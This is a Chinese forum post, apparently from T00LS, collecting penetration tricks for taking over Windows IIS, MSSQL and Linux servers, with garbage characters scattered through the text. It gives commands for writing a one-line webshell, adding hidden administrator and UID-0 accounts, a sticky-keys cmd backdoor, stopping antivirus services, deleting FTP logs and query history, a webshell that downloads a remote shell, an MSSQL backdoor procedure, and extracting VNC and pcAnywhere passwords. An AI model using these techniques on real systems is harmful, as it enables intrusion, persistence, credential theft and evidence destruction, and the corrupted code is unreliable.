渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
% B# }2 Y$ {$ N6 e8 U* gOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
: ^% X3 U! W  w/ h7 b: J+ b8 u; v        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
* l6 G8 v+ G! O5 s5 Y% C7 y
0 X7 k) i; P; |" U: qUsage:Cscript vWeb.vbs",4096,"Lilo"
+ X! O6 R0 J# h( ~        WScript.Quit
( N( q: \0 N0 o* S9 r; yEnd If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
1 D- l6 x( b) T' V! f! N        If IsNumeric(obj3w.Name)
/ z3 @1 r5 M3 i
3 O# B7 n/ h# b  T5 |! v- NThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
0 r3 T( F2 Z1 H& A* w# e& A6 K         
( \2 D/ q) J1 [7 \: D  R
' f8 [; u  }& Y4 e! p       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
/ T* |% j; p; ~                If Err
2 }1 |( F* s) p  q
/ a' e/ |: \6 X( @8 W; k0 Q! ^<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
- l3 f2 [+ }+ p: N) y8 x                For Each Binds In OService.ServerBindings
# b4 W# Y, C. y" j     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
9 e. d& ?6 \# [, ?1 r4 t( C                        

- X# C  j4 r- ~WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
: d% ~" B. |% C  X                Next
0 u2 ~  P! t5 k4 \; O0 F      

         WScript.Echo "ath            : " & VDirObj.Path
4 s9 l* J1 P; }        End If
Next
复制代码
  S3 h" ^1 M' E5 z  [& v3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
. c* r5 e6 T3 w: S1 d3 q4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
7 p) }/ r7 ?$ h( k/ C( q7 P7 Z—————————————————————
WordPress的平台，爆绝对路径的方法是：
) n) u2 X% m3 m% `6 Curl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
; J8 T6 t& t# C: X: B# B5 ?6 bphpMyAdmin暴路径办法:
/ _$ m. I% }% dphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
! K" e4 v* \6 U, Q$ o. f5 S  [2 S. |phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
  N; {$ ]; f- e网站可能目录(注：一般是虚拟主机类）
7 l3 j7 D! f3 v) N& c; Z* @9 @* ^, idata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
/ o* P" U( J1 bnetsh ras set user administrator permit #允许administrator拨入该VPN
+ I& V" j5 E1 B" Y1 enetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
. g' i5 F/ h* [netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
9 y. |( J6 l7 h) T+ H$ y& J2 z. `命令行下添加SQL用户的方法
, w( o3 D% G) }6 u0 D7 X需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
+ s+ f" m6 q- e/ u; F0 u+ x6 Oexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
4 |3 L+ N1 y2 n
另类的加用户方法
% A/ c0 u4 q& A/ K, u! ?# U8 ^在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
( p0 c: o0 e) V, U$ t2 F, Mvar o=new ActiveXObject( "Shell.Users" );
: s) v. A/ s7 `; {z=o.create("test") ;
5 ]0 G8 t8 z5 _3 f1 A$ z; d- Yz.changePassword("123456","")
z.setting("AccountType")=3;
! ^5 F, I0 a) K) {, v# C, J
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
3 m' @5 S8 n3 c6 nz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
, P# t  M4 m9 z7 ~5 Y' c' Ycmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
; @1 }" x* E: A
命令如下
- G; u3 ~* _0 y1 r: [$ ccacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
$ w5 o0 d2 V# A————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
+ \, D/ I/ A$ {- L' B+ D2 zc、终端服务器超出了最大允许连接
$ O. k. E5 g- }  L6 ?! O4 V3 uXP 运行mstsc /admin
- q$ E" U# {7 v5 V2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
6 k; Z$ u6 m* S5 V  Dnet stop "Symantec AntiVirus" /y
+ q9 y) m4 t( U$ Mnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
& R9 Q5 }1 M3 S5 k7 H8 U7 inet stop "Symantec Settings Manager" /y
( ?+ A, _& D0 y. ^* M) y
卖咖啡：net stop "McAfee McShield"
' k. d( k2 T% ?+ }+ r6 W————————————————————

, u. H; y; G* C5次SHIFT：
# V! W4 {8 d6 {' i# Rcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
" t& f3 S" u$ E8 B$ g& [1 M, p% a——————————————————————
1 F, z( J( J9 B+ Q: r. k隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
0 e1 F& R" g. d7 p3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
& q9 X0 V9 w- QEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
! [- A7 x) y( Y# r; AGRANT exec On xp_helpsystem TO public;
& Z; R6 y# b  U———————————————————————
* r& b1 I" O$ Z! _9 `0 Y日志处理
" i( @( Y, F" K+ U6 _$ _9 n. F! ZC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
2 A! U+ ]8 m3 K$ A) E* T* _当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
) J: E9 V1 i& d/ C" j: p- K5 f5 _当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
. {2 X2 b6 x5 q  q. K+ P- `+ s# jMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
, }7 ?  B: l5 }找到接接过的信息删除。
, T" c4 M/ {  V1 {MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
3 t4 t: P& a2 C0 v* cSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
) a+ E! V% n; t$ YDim Ads, Retrieval, GetRemoteData
( l6 \% Y" a' ^* O2 F4 b2 f* vOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
0 Z( n" d/ h) v' j0 M2 SGetRemoteData = .ResponseBody
+ B' _& R( b$ Z/ ^: p) TEnd With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
) X0 A1 b5 j( e- Q.Type = 1
1 I2 ^7 ]4 w$ b5 f.Open
.Write GetRemoteData
6 ?2 Z7 Q  ]/ d2 d$ J! u4 r" }.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
  ^" l- N( S7 R: uEnd With
; f- j/ G& l0 D& ZSet Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
5 c/ V; f; O1 P) b& `5 O%>
  F6 K8 v, v0 L% d) X$ `3 O/ f" T
VNC提权方法:
8 E' q+ b" n8 D2 @4 n3 R' N5 w利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
; R% N0 p' r0 _1 w* _; T$ G保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
7 D6 b# t* H  h* S' ~Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
4 x% }* L9 L' Y& k' d1 W搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
, {- E* H6 h% y0 |  V! c1 u0 u——————————————————----------
, c5 P" `; Y# E) }+ I6 }7 g% k: g* {WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
2 J# ^$ u9 h* `. U2 E来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
# n# A" C6 D* m" G3 r! b9 v. e
$ M2 v. ]. Z8 K+ \+ y1433 SA点构建注入点。
4 `% a8 \0 M; \: G8 v1 p) Y2 i2 ?<%
0 Y8 X9 Q! O0 sstrSQLServerName = "服务器ip"
4 U$ d9 X/ v4 c& P! v7 P4 B, f: b9 ostrSQLDBUserName = "数据库帐号"
1 w& O  R( n  t8 p# [: Z4 ?strSQLDBPassword = "数据库密码"
& W; X4 s( L! z, L6 {strSQLDBName = "数据库名称"
# A! w* t4 c6 D: f" jSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

% [. e- P" o5 V7 Z) x";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
# f. h( T4 l2 E% F9 L$ t, n/ m
" ]8 L% d/ H8 m% C0 F( gstrSQLDBName & ";"
. J8 W4 b1 `5 ^6 {7 Z& sconn.open strCon
( v1 R2 p9 f$ D/ Edim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
, b8 u3 U) v! z7 N; K# x一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
3 U2 a8 J; R4 F5 n( p, _3 M
2.less /etc/ldap.conf
' o/ m9 H; h0 jbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
  M; }  |' d1 g/ u% ~  G
! Q$ j6 y7 `9 w3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: {% s* Q3 l" Z) l) ~+ ]
0 d% @% p# i$ T$ B"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
1 n1 G. J7 {' H$ q
* D# F6 r( L9 Y8 G) a6 M
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! B+ w4 |( o: ~4 x
9 j  G- d( k$ L: X* N1 l实战:
1.cat /etc/nsswitch
8 B2 @& g" U: B2 y0 R: L看看密码登录策略我们可以看到使用了file ldap模式
2 e& z4 o; r; m* L, X
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
* ^( U7 U6 r/ F8 |! O
8 U; _7 J' L# C1 w% W( l$ `) C# K3.查找管理员信息
+ k! m9 Y0 M9 y4 s匿名方式
8 k* L! n  q& Fldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 L( X3 x! H/ t5 c3 l0 M) v
# ~7 G! b8 j5 F4 b% r"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. f- f' e9 ]' J4 n有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# O/ C+ ^& u7 c
# W. o9 p$ U: q- ?( u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

/ @2 U: S% ^5 g. N! F/ \
4.查找10条用户记录
) O- U  h+ v- ?: q0 c5 U+ t$ O) X) _ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

& q- M& O1 o* p8 e; z/ v% s7 ~1 f渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
8 H* A- I! C6 m4 E& |) `& bversion: 1
dn: dc=ruc,dc=edu,dc=cn
8 L: `, n2 F6 P8 Zdc: ruc
1 B" u. b# v6 |# G4 }/ d6 WobjectClass: domain
7 ^" v" r4 E: N- @
dn: uid=manager,dc=ruc,dc=edu,dc=cn
7 f3 p7 N& Y$ Ouid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
9 n' V. w, \9 N9 ecn: manager
+ l7 c. n9 N  p: P
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
9 w1 V% N3 ~+ f9 j6 d' \! @, c, Vuid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
8 ^- }, H) ?5 G7 R9 m5 W" ]objectClass: top
sn: superadmin
cn: superadmin

: ]# H% W* N& G9 c9 A' Idn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
* d5 {0 o: b) {9 w9 ZobjectClass: inetOrgPerson
objectClass: organizationalPerson
$ O6 ~+ J1 f$ ZobjectClass: person
objectClass: top
sn: admin
( z; g2 W- V/ _  s9 Fcn: admin

, `  f# N5 v4 ]0 k* y7 Y  y1 X3 u2 edn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
9 r  ~, ?: }5 Guid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
4 N+ A5 o2 }  S0 k! L6 W2 mobjectClass: inetOrgPerson
sn: dcp_anonymous
  a) G1 k6 i8 [' b& Ocn: dcp_anonymous
# k1 r) i' p' b% ^' J! E
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
: d3 C9 p1 S! J
more
8 H3 p; g# y+ i3 c0 `version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

8 G7 I! i; p9 G; q1 n8 p! ?3.查找
' ^! L. j) V  g4 j/ J, F( j7 ]' Rbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
& ~4 v. Z6 Q# f- R' f. Cversion: 1
dn:
! o% Z: s4 A; U& O( ]& [' ^objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
& F4 k+ `. `9 B6 _/ gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
6 [0 b0 c' |2 n% UsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
! C8 u; a; `' S, b: z5 {' {supportedExtension: 2.16.840.1.113730.3.5.6
* v* V2 z. d* j9 g) EsupportedExtension: 2.16.840.1.113730.3.5.4
/ @9 h0 [" t# D6 ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
: y# z5 K4 x# ^8 t* {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
) A; M5 M& X& \9 R) KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
) Y7 M8 {0 a6 P4 ?; a3 r0 DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
4 t% u' N" o+ z) Q* ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
  g0 O5 l" N1 w4 Z1 b* UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
; O6 D% _8 `' U4 z! y4 [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
& T2 h' i' Y" S' b- g0 S& }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
8 o+ d4 m  u6 b5 ^5 R) XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
% q7 j9 _- t, [. m/ r) n, p3 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
8 B+ X' l5 M9 h: R" \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
% @: x: z. A% q: m" z7 A( X3 \2 KsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
3 O/ R& E0 w; |% A  g# CsupportedControl: 2.16.840.1.113730.3.4.2
) J6 E" Z$ B, B+ w. ~* W( ~supportedControl: 2.16.840.1.113730.3.4.3
  C3 h" ?/ q& T1 X0 Z  C6 @6 p  hsupportedControl: 2.16.840.1.113730.3.4.4
7 }6 G. R- ^! w( \. g! @# RsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
+ R5 n0 x0 h1 E$ }/ WsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
3 h/ ]1 H5 e2 FsupportedControl: 2.16.840.1.113730.3.4.19
- F  H5 b) E5 U9 q( D, u3 VsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
* |8 n8 X' L+ g1 C: U1 P5 m/ O$ x: t( p& }supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
( s& C% `4 A. X" asupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
8 j5 f/ @- V: w& `1 x, Y. G0 L2 jsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
3 H$ |, P# ]! a' r5 D* Z7 VsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
; x5 y" L* f' y. P4 J( N# IsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
5 i1 T8 [1 |9 R: \supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
! i  X2 F7 R+ A3 J, n$ H" C2 |) enetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
5 o$ e& O3 k, F, g+ w! B& `" |supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
- ]$ [8 S) `% Q  asupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
/ Z# q: H9 z# u  Z" QsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
) i  l" d5 A* gsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
$ a) L) G& z# {/ t% o0 V9 ~0 YsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
) s( |( w* r" v* H9 L7 n8 esupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
: v. p0 |4 J4 C! t) G* r2 @! wsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
7 Q. z/ H* P3 G( |supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
! ?5 d: g% K$ O. l& o! C8 dsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
& h' F- C2 O) s6 X/ ?supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
: }, X! x; q2 B' y# |0 wsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
1 ~. K, ?% X5 {  k  |supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
8 [! i* H; H% s& T1 }5 L+ z0 dsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
' S7 s7 X# A. usupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
1 i! B/ U" I7 Q5 q: ?9 IsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
- @& l. d3 z/ _7 u" z, R5 R4 asupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
. R2 s4 A; F; y5 D6 s0 psupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
% ], L2 L2 e, @* f: A  S" lsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
) z% }! {4 c8 i) DsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
4 M( T+ l4 n, {8 J# MsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
. i& h! d7 {* P$ {9 P9 y4 qsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
& e$ _+ O" z2 ]& BsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
2 p( p  U/ y( J( {% dsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
) [  Q! i) D0 ~( E3 h( V2 e( l- FsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
  _. e; X7 W( s7 c: D; Q& DsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
列举IP
! x/ H7 y% q, }' \8 e4 T7 r6 S——————
: V3 P# \& C4 z2 T' p3.rsync渗透技巧
5 v( C; X% C3 w1 ^; k5 ~1.查看rsync服务器上的列表
( x0 m% y; |6 q; }1 krsync 210.51.X.X::
  e( |2 \5 L* B  p: Y% xfinance
/ i- U/ I5 c  K0 P% M5 qimg_finance
+ B% X- t# n* z% l) D4 ^: c2 Wauto
img_auto
& e6 l3 @  ]7 J8 k. a0 Ghtml_cms
9 P! t' y0 @& r, Y/ J6 _img_cms
. f$ z4 {8 S7 X0 ~! S  ^ent_cms
ent_img
ceshi
res_img
res_img_c2
chip
3 y. u( `* v! D2 g/ w7 Y: jchip_c2
ent_icms
0 J/ W) I; M& m6 }7 N6 Igames
gamesimg
% D) V9 p6 K. ^- G8 H5 Gmedia
8 [7 i. x5 ], d+ Vmediaimg
fashion
res-fashion
res-fo
taobao-home
res-taobao-home
; p6 u# f0 p6 P$ R0 G* [, Q% _0 H7 Whouse
) t! D9 v8 X- o& s6 t3 R, Lres-house
/ V- U; c* h2 y- E* v9 i4 j# sres-home
5 ?  D9 {  `, {  Y2 wres-edu
# j" o- U8 p2 Y; [6 x+ pres-ent
res-labs
res-news
, R: _2 X  l% A/ S6 M* \res-phtv
res-media
home
edu
% k' D8 v; p+ N( k) Fnews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
  ^2 R& F' N6 b& D$ n* b* z( z1 G
% K0 y6 Y5 K' }0 l2.下载rsync服务器上的配置文件
; h; C# g: Q+ M. Brsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
  i1 e& }7 c7 @' c1 x+ `3 qrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

2 t, l8 x  S. N四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
! f! A5 c, A1 H# @+ A; d五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
- e: y9 R$ V6 A6 G: Z" U
六.joomla渗透小技巧
确定版本
" @* M6 S: N! kindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
' Y# E+ y! K! O& f
15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
( N  e6 ~% w* r. g0 j% museradd -o -u 0 nothack
% O, J1 S* l; W8 M+ S) R  k, D
; `, c2 Q4 F* Q& X八.freebsd本地提权
0 U- N6 L- S' S' U[argp@julius ~]$ uname -rsi
7 p4 O# N. n, A. D0 a* freebsd 7.3-RELEASE GENERIC
$ R0 \- n1 T; S; x* [argp@julius ~]$ sysctl vfs.usermount
, ?9 x4 K$ i* e+ x3 G9 M* B* vfs.usermount: 1
! @$ F& I( F' [" b* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
" t5 h  H: e4 H) B. C* Q* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
3 C9 y# O' l  _1 e. ^& b. [
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
% s8 h3 }; C% I2 M6 `+ Z1 {感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
4 U2 V% G' a3 ?( J9 s————————————————————————————
